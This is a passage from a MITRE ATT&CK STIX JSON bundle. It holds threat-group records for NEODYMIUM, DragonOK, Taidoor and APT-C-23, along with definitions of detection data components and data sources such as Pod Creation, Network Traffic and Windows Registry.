2014)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["NEODYMIUM"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--025bdaa9-897d-4bad-afa6-013ba5734653","type":"intrusion-set","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0055","external_id":"G0055"},{"source_name":"NEODYMIUM","description":"(Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)"},{"url":"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/","description":"Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.","source_name":"Microsoft NEODYMIUM Dec 2016"},{"source_name":"Microsoft SIR Vol 21","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"},{"url":"https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/","description":"Bing, C. (2017, October 16). Middle Eastern hacking group is using FinFisher malware to conduct international espionage. Retrieved February 15, 2018.","source_name":"CyberScoop BlackOasis Oct 2017"}],"modified":"2019-03-25T14:31:40.855Z","name":"NEODYMIUM","description":"[NEODYMIUM](https://attack.mitre.org/groups/G0055) is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called [PROMETHIUM](https://attack.mitre.org/groups/G0056) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["DragonOK"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a","type":"intrusion-set","created":"2017-05-31T21:31:53.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0017","external_id":"G0017"},{"source_name":"DragonOK","description":"(Citation: Operation Quantum Entanglement) (Citation: New DragonOK)"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf","description":"Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.","source_name":"Operation Quantum Entanglement"},{"source_name":"New DragonOK","description":"Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.","url":"http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/"}],"modified":"2019-03-22T20:10:32.917Z","name":"DragonOK","description":"[DragonOK](https://attack.mitre.org/groups/G0017) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](https://attack.mitre.org/groups/G0017) is thought to have a direct or indirect relationship with the threat group [Moafee](https://attack.mitre.org/groups/G0002). (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--05d5b5b4-ef93-4807-b05f-33d8c5a35bc5","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.275Z","name":"Group Modification","description":"Changes made to a group, such as membership, name, or permissions (ex: Windows EID 4728 or 4732, AWS IAM UpdateGroup)","x_mitre_data_source_ref":"x-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--5263cb33-08cc-4a68-820f-004e1e400d76","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Pod Creation","description":"Initial construction of a new pod (ex: kubectl apply|run)","x_mitre_data_source_ref":"x-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.271Z","name":"Scheduled Job Metadata","description":"Contextual data about a scheduled job, which may include information such as name, timing, command(s), etc.","x_mitre_data_source_ref":"x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--dad75cc7-5bae-4175-adb4-ca1962d8650e","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.275Z","name":"Volume Creation","description":"Initial construction of a cloud volume (ex: AWS create-volume)","x_mitre_data_source_ref":"x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--59ec10d9-546b-4b8e-bccb-fa85f71e5055","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Cloud Storage Creation","description":"Initial construction of new cloud storage infrastructure (ex: AWS S3 CreateBucket)","x_mitre_data_source_ref":"x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--ec225357-8197-47a4-a9cd-57741d592877","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.275Z","name":"Volume Enumeration","description":"An extracted list of available volumes within a cloud environment (ex: AWS describe-volumes)","x_mitre_data_source_ref":"x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Taidoor"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--59140a2e-d117-4206-9b2c-2a8662bd9d46","type":"intrusion-set","created":"2017-05-31T21:31:52.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0015","external_id":"G0015"}],"modified":"2021-10-15T00:34:25.521Z","name":"Taidoor","description":"[Taidoor](https://attack.mitre.org/groups/G0015) has been deprecated, as the only technique it was linked to was deprecated in ATT&CK v7.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--f5a9a1dd-82f9-41a3-85b8-13e5b9cd6c79","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Driver Metadata","description":"Contextual data about a driver and activity around it such as driver issues reporting or integrity (page hash, code) checking","x_mitre_data_source_ref":"x-mitre-data-source--9ec8c0d7-6137-456f-b829-c5f8b96ba054","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--91b3ed33-d1b5-4c4b-a896-76c55eb3cfd8","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Container Enumeration","description":"An extracted list of containers (ex: docker ps)","x_mitre_data_source_ref":"x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--071a09b1-8945-46fd-8bb7-6bcc89400963","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Image Modification","description":"Changes made to a virtual machine image, including setting and/or control data (ex: Azure Compute Service Images PATCH)","x_mitre_data_source_ref":"x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--bf91faa8-0049-4870-810a-4df55e0b77ee","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Firewall Enumeration","description":"An extracted list of available firewalls and/or their associated settings/rules (ex: Azure Network Firewall CLI Show commands)","x_mitre_data_source_ref":"x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--ffd73905-2e51-4f2d-8549-e72fb0eb6c38","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Snapshot Enumeration","description":"An extracted list of snapshops within a cloud environment (ex: AWS describe-snapshots)","x_mitre_data_source_ref":"x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--3acecdde-c327-4498-9bb8-33a2e63c6c57","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.275Z","name":"Volume Deletion","description":"Removal of a a cloud volume (ex: AWS delete-volume)","x_mitre_data_source_ref":"x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--672b2ebd-4310-4efe-bf03-7ab005298a74","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Pod Modification","description":"Changes made to a pod, including its settings and/or control data (ex: kubectl set|patch|edit)","x_mitre_data_source_ref":"x-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-16T15:31:48.747Z","name":"APT-C-23","description":"[APT-C-23](https://attack.mitre.org/groups/G1028) is a threat group that has been active since at least 2014.(Citation: symantec_mantis) [APT-C-23](https://attack.mitre.org/groups/G1028) has primarily focused its operations on the Middle East, including Israeli military assets. [APT-C-23](https://attack.mitre.org/groups/G1028) has developed mobile spyware targeting Android and iOS devices since 2017.(Citation: welivesecurity_apt-c-23)","aliases":["APT-C-23","Mantis","Arid Viper","Desert Falcon","TAG-63","Grey Karkadann","Big Bang APT","Two-tailed Scorpion"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Sittikorn Sangrattanapitak"],"type":"intrusion-set","id":"intrusion-set--8332952e-b86b-486b-acc3-1c2a85d39394","created":"2024-03-26T18:38:00.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1028","external_id":"G1028"},{"source_name":"Big Bang APT","description":"(Citation: checkpoint_interactive_map_apt-c-23) "},{"source_name":"Grey Karkadann","description":"(Citation: sentinelone_israel_hamas_war)"},{"source_name":"Mantis","description":"(Citation: symantec_mantis)(Citation: sentinelone_israel_hamas_war)"},{"source_name":"Two-tailed Scorpion","description":"(Citation: welivesecurity_apt-c-23)"},{"source_name":"Arid Viper","description":"(Citation: welivesecurity_apt-c-23)(Citation: sentinelone_israel_hamas_war)(Citation: fb_arid_viper)"},{"source_name":"Desert Falcon","description":"(Citation: welivesecurity_apt-c-23)(Citation: sentinelone_israel_hamas_war)(Citation: fb_arid_viper)"},{"source_name":"fb_arid_viper","description":"Flossman, M., Scott, M. (2021, April). Technical Paper // Taking Action Against Arid Viper. Retrieved March 4, 2024.","url":"https://web.archive.org/web/20231126111812/https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf"},{"source_name":"sentinelone_israel_hamas_war","description":"Hegel, T., Milenkoski, A. (2023, October 24). The Israel-Hamas War | Cyber Domain State-Sponsored Activity of Interest. Retrieved March 4, 2024.","url":"https://web.archive.org/web/20240208234008/www.sentinelone.com/labs/the-israel-hamas-war-cyber-domain-state-sponsored-activity-of-interest/"},{"source_name":"checkpoint_interactive_map_apt-c-23","description":"Kayal, A. (2018, August 26). Interactive Mapping of APT-C-23. Retrieved March 4, 2024.","url":"https://web.archive.org/web/20230604112435/https://research.checkpoint.com/2018/interactive-mapping-of-apt-c-23/"},{"source_name":"welivesecurity_apt-c-23","description":"Stefanko, L. (2020, September 30). APT‑C‑23 group evolves its Android spyware. Retrieved March 4, 2024.","url":"https://web.archive.org/web/20201123042131/www.welivesecurity.com/2020/09/30/aptc23-group-evolves-its-android-spyware/"},{"source_name":"symantec_mantis","description":"Symantec Threat Hunter Team. (2023, April 4). Mantis: New Tooling Used in Attacks Against Palestinian Targets. Retrieved March 4, 2024.","url":"https://web.archive.org/web/20231227054130/https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/mantis-palestinian-attacks"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["mobile-attack","enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-20T18:38:13.356Z","name":"Network Traffic","description":"Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)","x_mitre_platforms":["IaaS","Linux","Windows","macOS","Android","iOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","mobile-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Center for Threat-Informed Defense (CTID)","ExtraHop"],"x_mitre_collection_layers":["Cloud Control Plane","Host","Network"],"type":"x-mitre-data-source","id":"x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0029","external_id":"DS0029"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_collection_layers":["Cloud Control Plane"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0030","external_id":"DS0030"},{"source_name":"Amazon VM","description":"Microsoft. (n.d.). What is a virtual machine (VM)?. Retrieved October 13, 2021.","url":"https://azure.microsoft.com/en-us/overview/what-is-a-virtual-machine/"},{"source_name":"Google VM","description":"Google. (n.d.). Virtual machine instances. Retrieved October 13, 2021.","url":"https://cloud.google.com/compute/docs/instances"}],"modified":"2021-10-20T15:05:19.274Z","name":"Instance","description":"A virtual server environment which runs workloads, hosted on-premise or by third-party cloud providers(Citation: Amazon VM)(Citation: Google VM)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Host"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0019","external_id":"DS0019"},{"source_name":"Microsoft Services","description":"Microsoft. (2017, March 30). Introduction to Windows Service Applications. Retrieved September 28, 2021.","url":"https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications"},{"source_name":"Linux Services Run Levels","description":"The Linux Foundation. (2006, January 11). An introduction to services, runlevels, and rc.d scripts. Retrieved September 28, 2021.","url":"https://www.linux.com/news/introduction-services-runlevels-and-rcd-scripts/"}],"modified":"2022-03-30T14:26:51.807Z","name":"Service","description":"A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in(Citation: Microsoft Services)(Citation: Linux Services Run Levels)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-12-07T19:35:34.863Z","name":"File","description":"A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media).(Citation: Microsoft File Mgmt)","x_mitre_platforms":["Linux","Network","Windows","macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Host"],"type":"x-mitre-data-source","id":"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0022","external_id":"DS0022"},{"source_name":"Microsoft File Mgmt","description":"Microsoft. (2018, May 31). File Management (Local File Systems). Retrieved September 28, 2021.","url":"https://docs.microsoft.com/en-us/windows/win32/fileio/file-management"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-20T18:38:26.515Z","name":"Process","description":"Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)","x_mitre_platforms":["Linux","Windows","macOS","Android","iOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","mobile-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Host"],"type":"x-mitre-data-source","id":"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0009","external_id":"DS0009"},{"source_name":"Microsoft Processes and Threads","description":"Microsoft. (2018, May 31). Processes and Threads. Retrieved September 28, 2021.","url":"https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"User Account","description":"A profile representing a user, device, service, or application used to authenticate and access resources","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Containers","IaaS","Linux","SaaS","Windows","macOS","Office Suite","Identity Provider"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Cloud Control Plane","Container","Host"],"type":"x-mitre-data-source","id":"x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0002","external_id":"DS0002"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-10-14T22:11:30.271Z","name":"Web Credential","description":"Credential material, such as session cookies or tokens, used to authenticate to web applications and services(Citation: Medium Authentication Tokens)(Citation: Auth0 Access Tokens)","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Linux","SaaS","Windows","macOS","Office Suite","Identity Provider"],"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_collection_layers":["Cloud Control Plane","Host"],"type":"x-mitre-data-source","id":"x-mitre-data-source--1e26f222-e27e-4bfa-830c-fa4b4f18b5e4","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0006","external_id":"DS0006"},{"source_name":"Medium Authentication Tokens","description":"Hsu, S. (2018, June 30). Session vs Token Based Authentication. Retrieved September 29, 2021.","url":"https://medium.com/@sherryhsu/session-vs-token-based-authentication-11a6c5ac45e4"},{"source_name":"Auth0 Access Tokens","description":"Auth0. (n.d.). Access Tokens. Retrieved September 29, 2021.","url":"https://auth0.com/docs/tokens/access-tokens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_collection_layers":["OSINT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0035","external_id":"DS0035"}],"modified":"2021-10-20T15:05:19.275Z","name":"Internet Scan","description":"Information obtained (commonly via active network traffic probes or web crawling) regarding various types of resources and servers connected to the public Internet","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Logon Session","description":"Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorization(Citation: Microsoft Audit Logon Events)","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["IaaS","Linux","SaaS","Windows","macOS","Office Suite","Identity Provider"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Cloud Control Plane","Host","Network"],"type":"x-mitre-data-source","id":"x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0028","external_id":"DS0028"},{"source_name":"Microsoft Audit Logon Events","description":"Microsoft. (2021, September 6). Audit logon events. Retrieved September 28, 2021.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_collection_layers":["Host"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0024","external_id":"DS0024"},{"source_name":"Microsoft Registry","description":"Microsoft. (2018, May 31). Registry. Retrieved September 29, 2021.","url":"https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry"}],"modified":"2022-05-11T14:00:00.188Z","name":"Windows Registry","description":"A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations(Citation: Microsoft Registry)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-20T18:38:00.625Z","name":"Command","description":"A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit 